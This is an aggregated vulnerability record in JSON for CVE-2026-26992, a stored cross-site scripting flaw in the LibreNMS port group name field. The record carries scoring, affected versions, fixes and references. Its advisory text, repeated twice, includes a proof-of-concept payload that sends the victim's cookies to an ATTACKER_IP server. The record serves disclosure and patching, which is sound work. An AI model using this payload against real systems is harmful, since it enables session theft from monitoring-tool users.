{"id":"CVE-2026-26992","aliases":["EUVD-2026-8261","GHSA-93fx-g747-695x"],"status":"published","title":"LibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups name","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI \"/port-groups\". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.","severity":{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0025,"percentile":0.16518,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-02-18T22:07:42Z","modified":"2026-11-11T10:30:54Z","fixes":[{"ecosystem":"Packagist","package":"librenms/librenms","fixed_in":["26.2.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"librenms/librenms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.2.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"librenms/librenms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.2.0"}]}],"versions":["1.19","1.20","1.20.1","1.21","1.22","1.22.01","1.23","1.24","1.25","1.26","1.27","1.28","1.29","1.30","1.30.01","1.31","1.31.01","1.31.02","1.31.03","1.32","1.32.01","1.33","1.33.01","1.34","1.35","1.36","1.36.01","1.37","1.38","1.39","1.40","1.41","1.42","1.42.01","1.43","1.44","1.45","1.46","1.47","1.48","1.48.1","1.49","1.50","1.50.1","1.51","1.52","1.53","1.53.1","1.54","1.55","1.56","1.57","1.58","1.58.1","1.59","1.60","1.61","1.62","1.62.1","1.62.2","1.63","1.64","1.64.1","1.65","1.65.1","1.66","1.67","1.68","1.69","1.70.0","1.70.1","21.1.0","21.10.0","21.10.1","21.10.2","21.11.0","21.12.0","21.12.1","21.2.0","21.3.0","21.4.0","21.5.0","21.5.1","21.6.0","21.7.0","21.8.0","21.9.0","21.9.1","22.1.0","22.10.0","22.11.0","22.12.0","22.2.0","22.2.1","22.2.2","22.3.0","22.4.0","22.4.1","22.5.0","22.6.0","22.7.0","22.8.0","22.9.0","23.1.0","23.1.1","23.10.0","23.11.0","23.2.0","23.4.0","23.4.1","23.5.0","23.6.0","23.7.0","23.8.0","23.8.1","23.8.2","23.9.0","23.9.1","24.1.0","24.10.0","24.10.1","24.11.0","24.12.0","24.2.0","24.3.0","24.4.0","24.4.1","24.5.0","24.6.0","24.7.0","24.8.0","24.8.1","24.9.0","24.9.1","25.1.0","25.10.0","25.11.0","25.12.0","25.2.0","25.3.0","25.4.0","25.5.0","25.6.0","25.7.0","25.8.0","25.9.0","25.9.1","26.1.0","26.1.1"]}],"products":[{"vendor":"librenms","product":"librenms"}],"references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-93fx-g747-695x","tags":["x_refsource_CONFIRM","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/librenms/librenms/pull/19042","tags":["x_refsource_MISC","Issue Tracking","fix","web"]},{"url":"https://github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/librenms/librenms/releases/tag/26.2.0","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26992","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-93fx-g747-695x"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26992.json","tags":["advisory"]},{"url":"https://github.com/librenms/librenms","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-26992","title":"LibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups name","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI \"/port-groups\". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.","status":"published","published":"2026-02-20T02:26:32.702Z","modified":"2026-02-20T15:53:20.444Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:38:20.971157Z"}],"euvd":[{"id":"EUVD-2026-8261","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI \"/port-groups\". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.","status":"published","published":"2026-02-20T02:26:32Z","modified":"2026-02-20T15:53:20Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T19:48:36.672162Z"}],"ghsa":[{"id":"GHSA-93fx-g747-695x","title":"LibreNMS /port-groups name Stored Cross-Site Scripting","description":"### Summary\n**/port-groups name Stored Cross-Site Scripting**\n\n- HTTP POST\n- Request-URI(s): \"/port-groups\"\n- Vulnerable parameter(s): \"name\"\n- Attacker must be authenticated with \"admin\" privileges.\n- When a user adds a port group, an HTTP POST request is sent to the Request-URI \"/port-groups\". The name of the newly created port group is stored in the value of the name parameter.\n- After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.\n\n### Details\nThe vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters\nor strings. When the delete button is rendered, the following template is used to render the page:\n\n_resources/views/port-group/index.blade.php:_\n```\n@extends('layouts.librenmsv1')\n@section('title', __('Port Groups'))\n@section('content')\n\u003cdiv class=\"container-fluid\"\u003e\n\u003cx-panel id=\"manage-port-groups-panel\"\u003e\n// [...Truncated...]\n@foreach($port_groups as $port_group)\n// [...Truncated...]\n\n\u003cbutton type=\"button\" class=\"btn btn-danger btn-\nsm\" title=\"{{ __('delete Port Group') }}\" aria-label=\"{{ __('Delete') }}\"\n\nonclick=\"delete_pg(this, '{{ $port_group-\n\u003ename }}', '{{ route('port-groups.destroy', $port_group-\u003eid) }}')\"\u003e // using the\nport's name in the Delete button functionality without sanitizing for XSS related\ncharacters/strings\n```\n\nAs the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored\ncross-site scripting.\n\n### PoC\n- Login\n- Select Ports \u003e Manage Port Groups\n- Select New Port Group\n- Input `12345');varpt=newImage();pt.src='http://\u003cATTACKER_IP\u003e/cookiePG'.concat(document.cookie);document.body.appendChild(pt);delete_pg(this, '12345 into the \"Name\" input box (change \u003cATTACKER_IP\u003e to be an the IP of an attacker controlled webserver)`\n- Select Save\n- Select the Delete Icon for the newly created Port Group\n- Select OK\n- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user's cookies.","status":"published","published":"2026-02-18T22:07:42Z","modified":"2026-02-20T16:52:01Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:26.881079Z"}],"nvd":[{"id":"CVE-2026-26992","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI \"/port-groups\". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.","status":"published","published":"2026-02-20T03:16:00.99Z","modified":"2026-06-17T10:26:30.167Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:06.63895Z"}],"osv":[{"id":"CVE-2026-26992","title":"LibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups name","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI \"/port-groups\". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.","status":"published","published":"2026-02-20T02:26:32.702Z","modified":"2026-11-11T10:30:54.271546478Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-11T11:06:43.133992Z"},{"id":"GHSA-93fx-g747-695x","title":"LibreNMS /port-groups name Stored Cross-Site Scripting","description":"### Summary\n**/port-groups name Stored Cross-Site Scripting**\n\n- HTTP POST\n- Request-URI(s): \"/port-groups\"\n- Vulnerable parameter(s): \"name\"\n- Attacker must be authenticated with \"admin\" privileges.\n- When a user adds a port group, an HTTP POST request is sent to the Request-URI \"/port-groups\". The name of the newly created port group is stored in the value of the name parameter.\n- After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.\n\n### Details\nThe vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters\nor strings. When the delete button is rendered, the following template is used to render the page:\n\n_resources/views/port-group/index.blade.php:_\n```\n@extends('layouts.librenmsv1')\n@section('title', __('Port Groups'))\n@section('content')\n\u003cdiv class=\"container-fluid\"\u003e\n\u003cx-panel id=\"manage-port-groups-panel\"\u003e\n// [...Truncated...]\n@foreach($port_groups as $port_group)\n// [...Truncated...]\n\n\u003cbutton type=\"button\" class=\"btn btn-danger btn-\nsm\" title=\"{{ __('delete Port Group') }}\" aria-label=\"{{ __('Delete') }}\"\n\nonclick=\"delete_pg(this, '{{ $port_group-\n\u003ename }}', '{{ route('port-groups.destroy', $port_group-\u003eid) }}')\"\u003e // using the\nport's name in the Delete button functionality without sanitizing for XSS related\ncharacters/strings\n```\n\nAs the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored\ncross-site scripting.\n\n### PoC\n- Login\n- Select Ports \u003e Manage Port Groups\n- Select New Port Group\n- Input `12345');varpt=newImage();pt.src='http://\u003cATTACKER_IP\u003e/cookiePG'.concat(document.cookie);document.body.appendChild(pt);delete_pg(this, '12345 into the \"Name\" input box (change \u003cATTACKER_IP\u003e to be an the IP of an attacker controlled webserver)`\n- Select Save\n- Select the Delete Icon for the newly created Port Group\n- Select OK\n- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user's cookies.","status":"published","published":"2026-02-18T22:07:42Z","modified":"2026-02-20T17:04:19.641902Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:43.123867Z"}]}}